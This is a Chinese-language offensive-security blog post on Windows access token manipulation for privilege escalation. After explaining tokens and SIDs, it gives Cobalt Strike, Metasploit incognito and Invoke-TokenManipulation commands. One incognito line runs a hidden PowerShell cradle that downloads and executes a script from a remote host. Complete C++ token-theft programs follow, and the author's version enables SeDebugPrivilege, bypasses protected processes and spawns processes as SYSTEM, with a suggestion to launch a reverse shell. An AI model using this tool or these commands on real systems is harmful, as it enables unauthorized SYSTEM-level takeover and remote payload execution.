Windows Access Token Manipulation Attack

“只有在梦想中,人才能真正自由。”

--《死亡诗社》


文如题目,Windows Access Token Manipulation Attack

什么是Windows Access Token

对于windows access token微软官方给出的解释是这样的:

1
2
An access token is an object that describes the security context of a process or thread. 
The information in a token includes the identity and privileges of the user account associated with the process or thread.

大体意思就是Windows Access Token(访问令牌),它是一个描述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该进程没有B用户的权限。当用户注销后,系统将会使主令牌切换为模拟令牌,不会将令牌清 除,只有在重启机器后才会清除 Access Token分为两种(主令牌、模拟令牌)

  • primary token 这种令牌通常用于本地及远程RDP登录
  • impersonation token 这种则通常用于各种非交互式的登录,比如,netuse,wmi,winrm等等…

Windows Access Token组成

  • 用户帐户的安全标识符(SID)
  • 用户所属的组的SID
  • 用于标识当前登录会话的登录SID
  • 用户或用户组所拥有的权限列表
  • 所有者SID
  • 主要组的SID
  • 访问控制列表
  • 访问令牌的来源
  • 令牌是主要令牌还是模拟令牌
  • 限制SID的可选列表
  • 目前的模拟等级
  • 其他统计数据

SID

安全标识符(Security identifiers),简称为SID,分别是OwnerSid和GroupSid. 所谓SID就是每次当我们创建一个用户或一个组的时候,系统会分配给改用户或组一个唯一SID,当你重新安装系统后,也会得到一个唯一的SID。SID是唯一的,不随用户的删除而分配到另外的用户使用。
请记住,SID永远都是唯一的SIF是由计算机名、当前时间、当前用户态线程的CPU耗费时间的总和三个参数决定以保证它的唯一性。

例: S-1-5-21-1763234323-3212657521-1234321321-500

Windows Access Token产生过程

1
用户使用凭据(用户密码)进行认证-->登录session创建-->windows返回用户的sid和用户所在组的sid-->LSA创建一个Access token-->使用凭据成功认证-->登录session-->token-->进程、线程

image

每个进程创建时都会根据登录会话权限由LSA(Local Security Authority)分配一个Token(如果CreaetProcess时自己指定了 Token, LSA会用该Token, 否则就用父进程Token的一份拷贝。

过程中会检验你是否为管理员组的用户,如果是会给你一个具有完整管理员权限的令牌和一个标准用户的令牌(包含提权权限),如果是普通用户则只给一个普通令牌。

顺便提一句登录方式:

  • 交互登录(凭据存放在lsass.exe内):控制台登录2、rdp登录10、psexec登录2
  • 网络登录(证书不在内存中):wmi3、winrm3
  • smart登录….

cobalt strike模拟令牌

主要是使用steal_token模拟令牌,rev2self撤回令牌。

image

metasploit模拟令牌

incognito模块,同样rev2self撤回令牌。

image

或者用它的独立程序去执行一个文件:

1
incognito.exe execute "WEBSERVER-IIS7\Administrator" "powershell.exe -nop -whidden -c "IEX((new-objectnet.webclient).downloadstring('http://192.168.3.69:81/incognito'))\""

Invoke-TokenManipulation模拟令牌

Invoke-TokenManipulation是一个powershell脚本,可以用于枚举、模拟令牌。

枚举令牌并保存到文件

1
Invoke-TokenManipulation-Enumerate|out-fileres.txt

模拟令牌起进程:

1
Invoke-TokenManipulation-CreateProcess"cmd.exe"-Username"WEBSERVER-IIS7\Administrator"

模拟进程令牌起进程:

1
Invoke-TokenManipulation-CreateProcess"cmd.exe"-ProcessId1892

令牌模拟的细节

在进行令牌模拟的时候,我们一般需要下面的api:

image

过程是:

1
openprocess() --> openprocesstoken() --> impersonateloggedonuser()--> duplicatetokenex() --> createprocesswithtokenw()

demo(ired的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include "stdafx.h"
#include <windows.h>
#include <iostream>
int main(int argc, char * argv[]) {
char a;
HANDLE processHandle;
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
DWORD PID_TO_IMPERSONATE = 3060;
wchar_t cmdline[] = L"C:\\shell.cmd";
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
processHandle = OpenProcess(PROCESS_ALL_ACCESS, true, PID_TO_IMPERSONATE);
OpenProcessToken(processHandle, TOKEN_ALL_ACCESS, &tokenHandle);
DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, NULL, cmdline, 0, NULL, NULL, &startupInfo, &processInformation);
std::cin >> a;
return 0;
}

运行该程序,我们就可以获得一个3060进程令牌权限运行的shell.cmd的进程。当然,你需要有这个进程的访问权限。

但是也并不是所有的进程都都是可以被操作的,比如看下面的这个图:

image

我们可以清楚的看到wmiprvse进程便无法被打开,主要是无法打开token。
那么为什么会出现这种问题呢?

先不急,我们先看一下所有的令牌,因为我们的目的就是获取system令牌。

使用下面的脚本进行获取(https://gist.githubusercontent.com/vector-sec/a049bf12da619d9af8f9c7dbd28d3b56/raw/eaddf4151ebe4345623b7066a2c768665805fcad/Get-Token.ps1)

image

然后简单修改下,变成只获取system权限的进程:

1
get-token | where-object {$_.username -eq 'NT AUTHORITY\SYSTEM' -and $_.ownername -ne 'NT AUTHORITY\SYSTEM'} | select-object processname,processsid|format-table

这样列出的进程和进程号,是只为system权限的进程。

然后经过测试发现像csrss、service、wininit、smss等token获取失败

image

查看发现存在同一个问题:存在protect

根据微软文档,我们可以知道

image

只需要在openprocess中将第一个参数改成PROCESS_QUERY_LIMITED_INFORMATION即可。

那么只需要在primarytokentheft里面加一个判断即可,修改后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#include <windows.h>
#include <iostream>
#include <Lmcons.h>

BOOL SetPrivilege(
HANDLE hToken,
LPCTSTR lpszPrivilege,
BOOL bEnablePrivilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;

if (!LookupPrivilegeValue(
NULL,
lpszPrivilege,
&luid))
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}

tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;



if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}

if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)

{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}

return TRUE;
}

std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}

int main(int argc, char** argv) {

if (argc <= 1) {
printf("USAGE: TokenSteal.exe Process PID");
return -1;
}
printf("Primary Access Token Manipulation by lengyi \n\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());


char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);


HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);


HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}


HANDLE processHandle = OpenProcess(PROCESS_QUERY_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL) {
printf("[+] OpenProcess() success!\n");
}
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
}


BOOL getToken = OpenProcessToken(processHandle, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}


BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}

BOOL duplicateToken = DuplicateTokenEx(tokenHandle, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}


BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}

return 0;
}

此时,我们便可以获取任意进程的token:

image

将启动cmd更改为我们的反弹shell程序,即可获取的一个system的session:

image

image

参考文章:

https://attack.mitre.org/techniques/T1134/

https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw

https://docs.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex?redirectedfrom=MSDN

https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights

https://www.secpulse.com/archives/94848.html

https://www.slideshare.net/JustinBui5/understanding-windows-access-token-manipulation

https://www.lshack.cn/721/

本文标题:Windows Access Token Manipulation Attack

文章作者:冷逸

发布时间:2020年03月27日 - 18:03

最后更新:2020年03月27日 - 19:03

原始链接:https://lengjibo.github.io/token/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------The End-------------
坚持原创技术分享,您的支持将鼓励我继续创作!